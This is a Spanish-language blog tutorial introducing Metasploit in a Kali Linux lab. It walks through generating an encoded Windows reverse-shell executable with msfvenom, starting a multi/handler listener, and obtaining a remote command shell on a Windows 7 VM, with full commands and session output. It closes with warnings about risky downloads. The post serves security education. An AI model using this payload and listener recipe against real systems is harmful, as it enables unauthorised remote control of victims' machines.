Metasploit es una suite increíblemente potente, de eso os daréis cuenta enseguida.
Pero primero una anécdota, que ya veréis guarda relación con la entrada:
Recuerdo que ya hace años, un amigo, me conto, como a un amigo suyo le entró un hacker en su ordenador y se lo apagó remotamente. La conversación fue mas o menos así:
- Amigo: Que sí, que te lo juro, de verdad, que lo conozco de verdad, no es una amigo de un amigo, es un amigo mio. Un vecino.
- Yo: Va venga, vuelve a contarmelo que no lo pillo.
- Amigo: Mi amigo, que sí, que de verdad existe, estaba trabajando con Excel en su casa, y de golpe le aparece una ventana de messenger, de un tío que va y le dice: Hola, soy un hacker.
- Yo: Aja, ¿y? ¿Una ventana de messenger? ¿Estás seguro?
- Amigo: Bueno, no se si era de messenger o no, pero vaya, que le sale un mensaje en el que le decía que era un hacker. Mi amigo le dice que no se lo cree y el otro le contesta que le va a apagar el ordenador y va y se lo apaga!!!!!
- Yo: Pues si que es raro… y ¿qué hizo tu amigo?
- Amigo: Pues se quedo acojonado, dice que desconecto el ordenador y todo!!!
- Yo: Bueno, sí, vale, pero y ¿después?
- Amigo: Ni idea! Hace días que no lo veo por la escalera, cuando le vea le pregunto. Pero me parece raro, porque el tio controla bastante de estas cosas. Sabe como entrar en wifis y todo eso.
- Yo: Ahhh, vale. Pues que sepas que teneis un vecino que sabe mas que tu amigo.
Esta conversación es de hace muchos años, muchos. Los dos éramos desarrolladores que trabajabamos con Visual C++. Teníamos nuestros conocimientos, pero todo este mundo de entrar en ordenadores de otros nos parecía muy raro. La verdad es que no tenía ni idea de cómo le podía haber pasado esto al amigo / vecino de mi amigo. Ahora, después de conocer algunas herramientas como Metasploit empiezo a tener una idea mas clara de cómo pueden suceder estas cosas.
Pero ¿que es Metasploit?
Es la herramienta de todas las herramientas de los Penetration Testers. Es decir, la herramienta más usada por todos aquellos profesionales que se dedican a buscar agujeros de seguridad. Para que nos hagamos una idea el valor de la herramienta en su versión profesional debe estar alrededor de los 5.000$! Al Mes!!!! Toma Ya! Por suerte nosotros podemos apañarnos con la versión gratuita.
Empecemos
Abrimos un shell en nuestra máquina de linux. Lo primero es arrancar la base de datos:
service postgresql start
Como estamos trabajando con el Kali, que hemos instalado en el primer post del tutorial, ya tenemos Metasploit y postgresql instalado, pero es posible que no lo tengamos totalmente actualizado. Para eso corremos el comando:
msfupdate
Depende del tiempo que hayamos estado sin actualizar puede tardar unos minutos. En mi caso no han sido mas de 5 minutos, os dejo el resultado de lo que tendría que ser una actualización:
[*] [*] Attempting to update the Metasploit Framework... [*] [*] Checking for updates via the APT repository [*] Note: expect weekly(ish) updates using this method [*] Updating to version 4.14.10-0kali1 Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: linux-compiler-gcc-5-x86 linux-headers-4.6.0-kali1-amd64 linux-headers-4.6.0-kali1-common linux-image-4.6.0-kali1-amd64 linux-kbuild-4.6 php-common python-qrcode Use 'apt autoremove' to remove them. The following packages will be upgraded: metasploit-framework 1 upgraded, 0 newly installed, 0 to remove and 511 not upgraded. Need to get 93,1 MB of archives. After this operation, 32,7 MB of additional disk space will be used. Get:1 http://archive-4.kali.org/kali kali-rolling/main amd64 metasploit-framework amd64 4.14.10-0kali1 [93,1 MB] Fetched 93,1 MB in 39s (2.365 kB/s) apt-listchanges: Reading changelogs... (Reading database ... 384473 files and directories currently installed.) Preparing to unpack .../metasploit-framework_4.14.10-0kali1_amd64.deb ... Unpacking metasploit-framework (4.14.10-0kali1) over (4.14.1-0kali1) ... Processing triggers for man-db (2.7.6.1-2) ... Setting up metasploit-framework (4.14.10-0kali1) ...
No hace falta que actualicemos cada vez que arrancamos Metasploit, pero sí que es recomendable hacerlo de tanto en tanto, hacerlo mensualmente es mas que suficiente.
Ok! Ahora ya con Metasploit actualizado vamos a arrancarlo:
msfdb init msfconsole
Con esto entraremos dentro de la consola de metasploit, aquí los comandos ya no son los de linux, tenemos que usar los de Metasploit. La consola vendra a ser algo parecido a:
wake up, Neo... the matrix has you follow the white rabbit. knock, knock, Neo. (`. ,-, ` `. ,;' / `. ,'/ .' `. X /.' .-;--''--.._` ` ( .' / ` , ` ' Q ' , , `._ \ ,.| ' `-.;_' : . ` ; ` ` --,.._; ' ` , ) .' `._ , ' /_ ; ,''-,;' ``- ``-..__``--` http://metasploit.com Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ metasploit v4.14.10-dev ] + -- --=[ 1639 exploits - 944 auxiliary - 289 post ] + -- --=[ 472 payloads - 40 encoders - 9 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
En la parte superior veremos un dibujo, un pequeña broma de los desarrolladores de Metasploit, podemos ir viendo diferentes con el comando Banner.
msf > banner
Pero claro, cambiar el banner no es la finalidad de Metasploit. Continuemos explorando un poco. Vamos a usar Metasploit para configurar un ataque de Reverse Shell.
Reverse Shell con Metasploit
En un ataque de reverse shell necesitamos generar un fichero, que tiene que ejecutarse en la máquina víctima. Este ejecutable lo vamos a generar con Metasploit. La máquina atacada va a ser una máquina virtual que tengo configurada con Windows 7. Que está situada en la misma red que el laboratorio de Ciberseguridad que hemos montado con Kali.
En este ataque generamos un fichero para Windows, pero en Metasploit tenemos la posibilidad de generar ficheros para diferentes sistemas operativos, entre ellos Android o iOS. Lo importante es que una vez que la maquina victima lo ejecute, nosotros podremos controlar a esa máquina remotamente.
Usando un terminal de kali, generamos el fichero a ejecutar en la máquina víctima.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.107 LPORT=21225 -b "\x00" -e x86/shikata_ga_nai -f exe -o ejecutame.exe
La IP usada es la de la máquina que va a tomar el control, es decir, la máquina atacante, en este caso la IP que tiene mi maquina virtual con Kali Linux. El fichero creado puede tener cualquier nombre, no hace falta que sea ejecutame.exe.
En el caso de que la ejecución del comando sea la correcta tendremos que ver algo como:
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.107 LPORT=21225 -b "\x00" -e x86/shikata_ga_nai -f exe -o ejecu2.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Saved as: ejecu2.exe
Vamos a la consola de Metasploit y nos preparamos para empezar a tomar el control, para ello ejecutaremos los comandos:
use exploit/multi/handler set payload windows/shell/reverse_tcp set LHOST 192.168.1.107 set LPORT 21225 exploit
Lo que hemos hecho es decirle a Metasploit que ejecute el exploit de reverse shell para windows con la dirección IP y puerto que anteriormente hemos indicado en la creación del fichero «virus».
El fichero generado por msfvenom tenemos que copiarlo en nuestra maquina con Windows, y como no, ejecutarlo. Con esto la infectamos. Este es el punto más complicado, el hacer llegar el fichero a una máquina de nuestra red y que este se ejecute. Pero tendría que ser complicado tan solo si no tenemos autorización para hacerlo 🙂
Si todo ha funcionado bien tendriamos que estar ya dentro del disco duro de nuestra máquina víctima y podríamos empezar a lanzar comandos como si estuviéramos en ella.
En la Shell de Metasploit veremos algo parecido a:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/shell/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107 msf exploit(handler) > set LPORT 21225 LPORT => 21225 msf exploit(handler) > EXPLOIT [-] Unknown command: EXPLOIT. msf exploit(handler) > exploit [*] Started reverse TCP handler on 192.168.1.107:21225 [*] Starting the payload handler... [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 192.168.1.106 [*] Command shell session 1 opened (192.168.1.107:21225 -> 192.168.1.106:49212) at 2017-04-17 04:00:03 -0400 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\IEUser\Downloads>
Ok! ¿Una vez llegado aquí qué podemos hacer? Pues casi cualquier cosa, es como si tenemos un terminal del Windows en nuestro Metasploit. Podemos navegar por el HD, crear directorios, ficheros, borrarlos… y mucho más podemos incluso resetear la máquina remotamente! Sí! Exactamente lo mismo que le pasó al amigo de mi amigo, que era su vecino :-).
Acabando
Es un ataque factible, la mayor dificultad es distribuir el fichero, y el disponer de una IP pública con la que montar el Reverse Shell si se pretende realizar este ataque fuera de nuestra red.
No sirve para entender que: TENEMOS QUE TENER MUCHO CUIDADO con las descargas, que alguien entre en nuestro ordenador no es tan complicado como parece. De nuevo, mucho cuidado con las WiFis a las que nos conectamos, y por favor, no robeis el WiFi del vecino, que como sea un poco hábil en estas cosas os puede amargar la vida.
Bonus Track
Como hay cosas que se entiende mucho mejor al ver cómo funcionan, he decidido realizar un vídeo de soporte. Ya que realmente queda bastante mas espectacular: